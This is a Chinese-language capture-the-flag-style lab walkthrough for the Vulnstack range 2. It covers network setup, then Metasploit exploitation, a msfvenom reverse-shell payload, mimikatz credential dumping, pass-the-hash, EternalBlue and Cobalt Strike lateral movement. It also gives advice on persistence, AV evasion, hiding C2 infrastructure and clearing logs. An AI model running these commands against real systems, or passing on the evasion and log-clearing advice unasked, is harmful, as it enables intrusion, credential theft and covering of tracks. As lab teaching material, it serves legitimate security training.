Vulnstack红日靶场2:基于Cobalt Strike的内网渗透实战与CS联动技巧
2026/8/10 2:41:13 网站建设 项目流程

1. 项目概述与核心价值

最近在安全圈子里,Vulnstack红日靶场的热度一直居高不下。作为一个模拟真实企业内网环境的靶场,它几乎成了检验渗透测试者内网横向移动和域渗透能力的“标准考卷”。特别是红日靶场2,其环境设计巧妙,涉及Web漏洞、主机提权、域内信息收集、横向移动以及权限维持等多个核心环节,完整走一遍流程,对内网渗透的理解能提升一个档次。

很多朋友可能卡在了第一步:环境搭建。网上教程虽多,但要么环境对不上,要么步骤跳跃太大,对新手极不友好。今天,我就以一个“过来人”的身份,分享一套基于VMware和Kali Linux的保姆级复现流程。我会从零开始,手把手带你搭建靶场、配置网络、复现攻击链,并重点分享如何将Cobalt Strike(CS)联动到整个渗透流程中,实现从外网打点到内网漫游的丝滑体验。无论你是刚接触内网安全的新手,还是想系统梳理一下流程的老兵,这篇长文都能给你带来实实在在的收获。

2. 环境准备与靶场搭建

2.1 靶场镜像与工具获取

首先,我们需要准备好所有“食材”。Vulnstack红日靶场2的官方镜像可以在其GitHub仓库或相关安全论坛找到。通常,它是一个包含三台虚拟机的压缩包:一台作为外网Web服务器(Windows 2008,通常带有诸如ThinkPHP等漏洞),一台作为内网域成员服务器(Windows 7或2008),还有一台是域控制器(Windows Server 2012或2008 R2)。确保你下载的是完整的、未被修改过的镜像,这是复现成功的基础。

我们的攻击机选择Kali Linux,这是渗透测试的“瑞士军刀”,预装了绝大多数我们需要的工具。你需要从Kali官网下载最新的稳定版ISO镜像。至于虚拟机软件,VMware Workstation Pro是首选,其网络配置功能强大且稳定,非常适合搭建这种多机互通的复杂内网环境。

注意:请务必从官方或可信渠道下载软件和镜像,避免镜像被植入后门或软件被捆绑恶意代码。Kali和VMware都有明确的官方网站。

2.2 VMware网络拓扑规划与配置

这是整个环境搭建中最关键,也最容易出错的一步。红日靶场2的典型网络拓扑需要模拟出“攻击机(外网)-> Web服务器(双网卡)-> 内网域环境”的结构。

  1. 创建自定义虚拟网络:打开VMware的“编辑”->“虚拟网络编辑器”。我们需要创建两个VMnet。

    • VMnet1(仅主机模式):将其IP网段设置为192.168.52.0/24(子网掩码255.255.255.0)。这个网络将模拟“外网”,我们的Kali攻击机和靶场的Web服务器外网卡将连接至此。
    • VMnet2(仅主机模式):将其IP网段设置为192.168.93.0/24(子网掩码255.255.255.0)。这个网络将模拟“内网”,靶场Web服务器的内网卡、域成员服务器和域控制器都连接至此。
    • 务必取消勾选“使用本地DHCP服务”,我们将手动配置静态IP,避免IP地址变动带来的麻烦。
  2. 导入并配置靶场虚拟机

    • 分别解压并导入三台靶场虚拟机。首次启动时,选择“我已复制该虚拟机”。
    • Web服务器(Win2008):在虚拟机设置中,添加两块网络适配器。适配器1连接到VMnet1,适配器2连接到VMnet2。启动后,手动设置IP。外网卡(对应VMnet1)设置为192.168.52.143(举例),网关可留空。内网卡(对应VMnet2)设置为192.168.93.143。这样,这台机器就成了连接内外网的“跳板机”。
    • 域成员服务器(Win7):网络适配器连接到VMnet2,IP设置为192.168.93.138,DNS指向域控制器的IP(如192.168.93.130)。
    • 域控制器(Win2012):网络适配器连接到VMnet2,IP设置为192.168.93.130,同时也是DNS服务器。
  3. 配置Kali攻击机:将Kali虚拟机的网络适配器连接到VMnet1。启动后,手动配置静态IP,例如192.168.52.128。这样,Kali就能与Web服务器的外网卡(192.168.52.143)直接通信了。

配置完成后,你可以在Kali上ping 192.168.52.143测试到Web服务器的连通性。在Web服务器上ping 192.168.93.138ping 192.168.93.130测试到内网机器的连通性。确保所有基础网络都是通的,再进行下一步。

2.3 Kali Linux基础优化与问题排查

新安装的Kali可能需要一些调整才能用得顺手。首先建议更新源并升级系统:sudo apt update && sudo apt upgrade -y。如果速度慢,可以更换为国内镜像源。

一个非常常见且恼人的问题是“Kali鼠标光标消失”。这通常发生在VMware Tools安装不完整或显示驱动有问题时。解决方法如下:

  1. 首先尝试在VMware菜单中,为虚拟机安装或重新安装VMware Tools。
  2. 如果无效,可以尝试安装open-vm-tools-desktopsudo apt install open-vm-tools-desktop -y,然后重启。
  3. 还有一种临时解决方案是,在终端输入killall -9 vmware-user,然后等待VMware Tools进程自动重启,光标有时会恢复。

另一个常见问题是权限。Kali默认用户是kali,但很多操作需要root权限。避免频繁使用sudo的一个方法是直接切换到root shell:sudo su。但要注意,这会让你在root环境下操作,需格外小心。对于某些特定工具(如Docker),可能需要将用户加入docker组:sudo usermod -aG docker kali,注销后重新登录生效。

3. 外网打点与初始突破

3.1 信息收集与漏洞扫描

环境就绪后,我们首先从Kali对Web服务器(192.168.52.143)进行信息收集。使用nmap进行端口扫描是第一步:

nmap -sS -sV -O -p- 192.168.52.143

参数解释:-sS(SYN半开扫描),-sV(探测服务版本),-O(探测操作系统),-p-(扫描所有65535个端口)。扫描结果可能会显示开放了80(HTTP)、445(SMB)、3306(MySQL)等端口。

接下来,访问http://192.168.52.143,看看是什么Web应用。红日靶场2通常模拟的是一个存在漏洞的CMS或框架,比如ThinkPHP。使用浏览器插件或命令行工具(如whatweb)进行指纹识别:whatweb http://192.168.52.143。同时,可以用dirbgobuster进行目录扫描,寻找后台、备份文件等敏感路径。

3.2 漏洞利用与WebShell获取

假设我们通过信息收集发现目标是一个存在已知RCE(远程代码执行)漏洞的ThinkPHP版本(例如5.0.23)。我们可以直接使用Metasploit框架中的对应模块。

  1. 启动Metasploit:msfconsole
  2. 搜索漏洞:search thinkphp
  3. 使用对应模块:use exploit/multi/php/thinkphp_rce
  4. 设置参数:set RHOSTS 192.168.52.143set TARGETURI /(如果目标在根目录)
  5. 执行攻击:exploit

如果利用成功,我们会获得一个Meterpreter会话。这是我们的第一个立足点。首先,使用getuid命令查看当前权限,通常是www-dataapache这类Web服务权限,权限较低。

3.3 权限提升与持久化入口

在Meterpreter会话中,我们需要进行提权。可以尝试使用本地漏洞利用模块。先使用sysinfo查看系统信息,然后背景化当前会话(background)。在msf中搜索提权模块:search suggester,使用post/multi/recon/local_exploit_suggester,并设置会话ID。运行后,它会推荐可能成功的本地提权漏洞。

选择一个推荐的模块(例如针对Windows MS16-032),使用它并设置会话参数,再次exploit。如果提权成功,新的Meterpreter会话权限就是NT AUTHORITY\SYSTEM了。

获得系统权限后,我们需要建立一个更稳定、持久的后门,以便后续内网横向移动。一种常见方法是创建计划任务或服务。在Meterpreter中,可以使用persistence模块。但这里,为了后续与Cobalt Strike联动,我们采用另一种更灵活的方式:生成一个Payload并上传执行。

我们可以用msfvenom生成一个反向TCP的Windows可执行文件(exe):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.128 LPORT=4444 -f exe -o shell.exe

将生成的shell.exe通过Meterpreter的upload命令上传到目标机器,然后使用execute -f shell.exe执行。同时在msf中启动对应的监听器(use exploit/multi/handler, 设置同样的payload和LHOST/LPORT)。这样我们就有了一个独立的、高权限的Meterpreter会话,为下一步跳板做准备。

4. 内网横向移动与信息收集

4.1 建立跳板与内网探测

现在,我们已经完全控制了作为跳板机的Web服务器(192.168.52.143/192.168.93.143)。接下来,我们要以它为据点,向内网(192.168.93.0/24)渗透。

首先,在已控的Web服务器上,进行内网信息收集。在Meterpreter会话中,可以运行arp -aipconfig /all来确认内网网卡和同网段主机。更高效的方法是上传一些轻量级的内网扫描工具,如nmapfor Windows 或fscan

假设我们上传了fscan.exe。在Meterpreter中切换到该目录,执行:

execute -f fscan.exe -a "-h 192.168.93.0/24"

这将快速扫描内网存活主机和常见端口。我们很可能会发现192.168.93.138(域成员)和192.168.93.130(域控)是存活的,并且开放了诸如135、139、445、389(LDAP)、53(DNS)等端口。

4.2 凭证获取与哈希传递攻击(PtH)

在Windows域环境中,最经典的横向移动方式是利用凭证。我们可以尝试从已控的Web服务器上抓取密码哈希。在Meterpreter中,使用hashdumprun post/windows/gather/hashdump来获取本地用户哈希。但更关键的是,如果这台机器有域用户登录过,我们可以尝试使用mimikatz来抓取明文密码或Kerberos票据。

上传mimikatz工具,在Meterpreter的shell中执行:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

如果成功,你可能会看到域用户(格式为DOMAIN\User)的明文密码或NTLM哈希。假设我们抓取到了域用户REDTEAM\zhangsan的哈希HASH_VALUE

现在,我们可以尝试使用Pass-the-Hash (PtH)攻击来横向移动到内网的另一台主机(如192.168.93.138)。在Meterpreter中,我们可以使用psexec模块,但需要指定哈希:

use exploit/windows/smb/psexec set RHOSTS 192.168.93.138 set SMBUser REDTEAM\zhangsan set SMBPass HASH_VALUE # 这里填入抓取的NTLM哈希 set PAYLOAD windows/x64/meterpreter/bind_tcp # 因为是从内网跳板机发起,所以用bind_tcp set LPORT 5555 exploit

如果目标主机的SMB服务开放(445端口),并且该域用户有足够的权限(通常是本地管理员组),我们就能成功获得192.168.93.138的Meterpreter会话。

4.3 利用MS17-010(永恒之蓝)进行横向移动

在内网中,老旧系统未打补丁的情况很常见。我们可以尝试利用经典的MS17-010漏洞。首先,用nmap脚本扫描内网主机是否存在该漏洞:

nmap --script smb-vuln-ms17-010 192.168.93.0/24

如果发现某台主机(例如192.168.93.138)存在漏洞,我们可以直接从已控的跳板机(Web服务器)上发起攻击。但更常见的做法是,将我们的攻击流量“代理”进内网。这里就需要用到端口转发或SOCKS代理。

在已控的Web服务器的Meterpreter会话中,添加一个路由,让MSF知道如何访问内网网段:

run autoroute -s 192.168.93.0/24

然后背景化会话。现在,我们可以直接在Kali本地的MSF中,使用针对192.168.93.138exploit/windows/smb/ms17_010_eternalblue模块。因为我们已经通过autoroute建立了路由,MSF会自动通过已控的跳板将会话弹回来。

5. Cobalt Strike(CS)联动实战技巧

5.1 CS团队服务器部署与监听器配置

Metasploit功能强大,但在长期渗透和团队协作中,Cobalt Strike(CS)的图形化、协同作战和后期能力更胜一筹。我们的目标是将CS作为控制中枢,接管从外网到内网的所有会话。

首先,你需要一台具有公网IP的服务器(或在本机,但内网穿透较麻烦)来运行CS的团队服务器(TeamServer)。假设你有一台VPS,IP是Your_Server_IP

  1. 上传CS安装包到服务器,赋予执行权限:chmod +x teamserver
  2. 启动团队服务器:./teamserver Your_Server_IP Your_Password [/path/to/c2.profile]
    • Your_Password是客户端连接的共享密码。
    • C2 Profile用于配置通信的流量伪装,对抗流量检测,这是CS进阶使用的关键。

然后,在你的本地攻击机(Kali或Windows)上启动CS客户端,连接团队服务器。输入服务器IP、密码和你的昵称。

连接成功后,首先需要创建监听器(Listener)。这是Beacon回连的“电话线”。点击Cobalt Strike->Listeners

  • HTTP/HTTPS监听器:用于外网初始攻击。设置好端口(如80,443),Redirect可以指向一个合法的网站用于迷惑。
  • SMB Beacon监听器:用于内网横向移动。它通过命名管道在已控主机之间通信,非常适合不出网(无法直接连接外网C2)的内网主机。
  • TCP Beacon监听器:另一种内网通信方式。

5.2 从MSF会话派生到CS Beacon

我们已经有了Metasploit的Meterpreter会话(在Web服务器上)。现在,我们要把这个会话“迁移”到CS的控制下。

  1. 在CS中,准备好一个Windows可执行文件(Stageless)的Payload。点击Attacks->Packages->Windows Executable (S)。选择刚才创建的HTTP监听器,生成一个payload.exe
  2. 将这个payload.exe上传到已控的Web服务器(通过Meterpreter的upload命令)。
  3. 在Meterpreter会话中,执行这个payload.exeexecute -f payload.exe
  4. 回到CS客户端,稍等片刻,你应该能看到一个新的主机上线。它的图标可能一开始是白色的(表示Stager阶段),很快会变成黑色的(表示完整的Beacon已建立)。

现在,这个Web服务器就在CS的控制下了。我们可以抛弃MSF的会话,所有操作都在CS的图形化界面中进行,更加方便。

5.3 利用CS进行内网横向移动与域渗透

CS控制跳板机后,内网横向移动变得可视化且强大。

  1. 端口扫描与视图:在Targets标签页,可以右键主机,进行端口扫描。扫描结果会以图形化方式呈现,非常直观。
  2. 凭证获取:右键已控主机,选择Access->Dump Hashes,CS会尝试使用内置的Mimikatz功能抓取哈希。获取的哈希会保存在Credentials标签页中。
  3. 哈希传递(PtH):在Credentials标签页,右键一个NTLM哈希,选择Spawn As。这会生成一个使用该哈希运行的新的Beacon。如果该哈希对应的用户在目标机器上有权限,新的Beacon就会在该目标机器上上线。这是CS里进行PtH最优雅的方式。
  4. SMB Beacon与横向移动
    • 首先,确保你创建了一个SMB监听器。
    • 在已控主机A(跳板机)的Beacon中,输入命令jump winrm64 192.168.93.138 smb。这个命令会尝试通过WinRM协议,利用当前Beacon的令牌,在目标主机192.168.93.138上生成一个SMB Beacon的Stager。
    • 如果成功,你会在CS中看到主机192.168.93.138上线,但其父级是主机A。它们之间通过命名管道通信,完全不需要192.168.93.138直接连接外网C2服务器。
  5. 域信息收集与权限提升:在Beacon中,可以使用内置命令进行域内信息收集,如net view /domainnet group “domain admins” /domain等。更强大的功能是使用powershell-import加载PowerShell脚本,然后执行诸如BloodHound数据收集脚本,将数据导出后放入BloodHound图形化工具进行分析,可以清晰地看到域内的攻击路径。

5.4 CS的权限维持与隐蔽技巧

获得域控权限后,需要思考如何维持访问。CS提供了多种方式:

  • 创建计划任务:通过schtasks命令创建定时启动的Beacon。
  • 创建服务:通过sc命令创建系统服务。
  • Golden Ticket(黄金票据):如果抓取到了域控krbtgt账户的哈希,可以在CS中直接生成黄金票据,从而获得域内任意服务的访问权限,这是最强大的权限维持手段之一。命令类似于golden_ticket_create REDTEAM\Administrator krbtgt_ntlm_hash
  • C2 Profile与流量伪装:这是CS的灵魂功能之一。通过编写C2 Profile,可以定义Beacon与团队服务器之间通信的HTTP请求/响应头、URI参数、证书等,使其流量看起来像正常的云服务(如Google、Azure)或企业内部软件的流量,极大增强隐蔽性。

6. 常见问题排查与实战心得

6.1 网络不通问题深度排查

网络问题是复现靶场时最大的拦路虎。如果Kali ping不通Web服务器,请按以下顺序排查:

  1. 虚拟机网络设置:反复确认每台虚拟机的网络适配器是否连接到了正确的VMnet(Kali和Web外网卡在VMnet1,其他在VMnet2)。
  2. 防火墙:关闭所有虚拟机(尤其是Windows靶机)的防火墙。在真实渗透中需要其他技巧,但实验环境建议直接关闭。
  3. IP地址冲突:确保所有手动设置的IP地址在同一网段内且唯一。
  4. 虚拟网络编辑器配置:确认VMnet1和VMnet2的网段没有重叠,且子网掩码正确。检查是否勾选了“将主机虚拟适配器连接到此网络”。
  5. 主机系统服务:确保主机系统的VMware相关服务(如VMware NAT Service, VMware DHCP Service)正在运行。

如果从Web服务器ping不通内网其他主机,除了检查上述防火墙和IP设置,还需确认Web服务器的内网卡(VMnet2)是否启用了“Microsoft网络的文件和打印机共享”等必要的网络功能。

6.2 漏洞利用失败原因分析

  • Payload不匹配:确保生成的Payload架构(x86/x64)与目标系统匹配。32位系统可以运行64位Payload,但反之则不行。使用sysinfo命令查看目标系统信息。
  • 杀毒软件拦截:靶场环境通常没有杀软,但真实环境或某些加固的镜像可能有。可以尝试对Payload进行编码、加壳或使用分离加载等技术进行免杀。CS的Artifact Kit和Resource Kit就是用于生成免杀Payload的。
  • 目标服务未运行或版本不符:确认扫描到的服务版本与你要利用的漏洞版本一致。例如,ThinkPHP的漏洞利用可能对路径有要求,需要正确设置TARGETURI参数。
  • 会话意外断开:Meterpreter会话可能因为网络不稳定、目标进程崩溃或反病毒措施而断开。使用persistence模块建立持久化后门,或者使用CS的Beacon,其心跳机制和重连能力更强。

6.3 CS联动过程中的典型坑点

  • Beacon不上线
    • 监听器配置错误:检查团队服务器防火墙是否放通了监听端口。检查监听器的IP地址是否正确(应设为团队服务器IP或0.0.0.0)。
    • Payload类型错误:在内网横向移动时,如果目标主机不能出网,必须使用SMB Beacon或TCP Beacon,而不能使用HTTP/HTTPS Beacon。
    • 代理问题:如果跳板机需要通过代理上网,需要在生成Payload或配置监听器时设置代理。
  • 哈希传递(PtH)失败
    • 权限不足:确保使用的域用户是目标机器的本地管理员组成员。
    • SMB签名限制:如果目标服务器(如域控)强制要求SMB签名,普通的PtH攻击会失败。需要寻找其他方法,或者使用Kerberos票据相关的攻击。
    • Protected Users组:如果用户被加入了“Protected Users”安全组,会阻止NTLM认证,导致PtH失败。
  • 团队服务器被溯源:这是实战中的大忌。务必使用C2 Profile对流量进行伪装,使用CDN或云函数等反向代理来隐藏团队服务器真实IP,定期更换监听器和Payload。

6.4 个人实战经验与技巧分享

  1. 信息收集要细:不要只满足于端口扫描。多花时间进行Web目录扫描、子域名枚举、框架指纹识别。一个不起眼的备份文件(如www.zip)、一个暴露的测试接口(如/phpinfo.php),都可能成为突破口。
  2. 善用代理链:在复杂内网中,可能需要经过多级跳板。熟练掌握MSF的autoroutesocks4a代理模块,以及CS的SOCKS Proxy功能,可以让你的攻击流量在多层内网中畅行无阻。在MSF中设置好路由后,配合proxychains工具,可以让本地的扫描器(如nmap)直接扫描内网深网段。
  3. 凭证是王道:内网渗透,本质上很多时候是“凭证狩猎”。拿到一个高权限的域用户凭证,可能比发现十个漏洞都有用。除了Mimikatz,多关注浏览器的密码、保存的RDP连接信息、配置文件中的硬编码密码等。
  4. 思路要灵活:不要死磕一种方法。如果445端口的SMB攻击不行,试试80/443的Web漏洞,或者135端口的WMI、5985端口的WinRM。CS的jump命令就支持多种协议(psexec, winrm, wmi等)。
  5. 清理痕迹:实验环境无所谓,但实战中,做完任何操作,都要思考如何清理日志。在CS Beacon中,可以使用logonpasswords命令后跟clear参数来清除Mimikatz在内存中的痕迹。对于Windows事件日志,可以使用clearev命令(Meterpreter)或相应的PowerShell脚本。
  6. 文档与记录:在复杂的渗透测试过程中,一定要做好记录。用了什么IP、什么账号、拿到了什么权限、发现了什么信息。CS的Notes功能和Reporting功能非常好用。清晰的记录有助于梳理攻击路径,也便于后期编写报告。

复现红日靶场这样的综合性靶场,最大的收获不是按部就班地走完流程,而是在遇到问题时,学会如何利用搜索引擎、查阅官方文档、分析错误信息去独立解决。每一个报错都是学习的机会。当你能够不依赖教程,自己调试通整个流程,甚至发现教程里没写的更优路径时,你的内网渗透能力才算真正入了门。最后,记住所有技术都应在法律和授权范围内使用,靶场是磨砺技术的绝佳沙盒。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询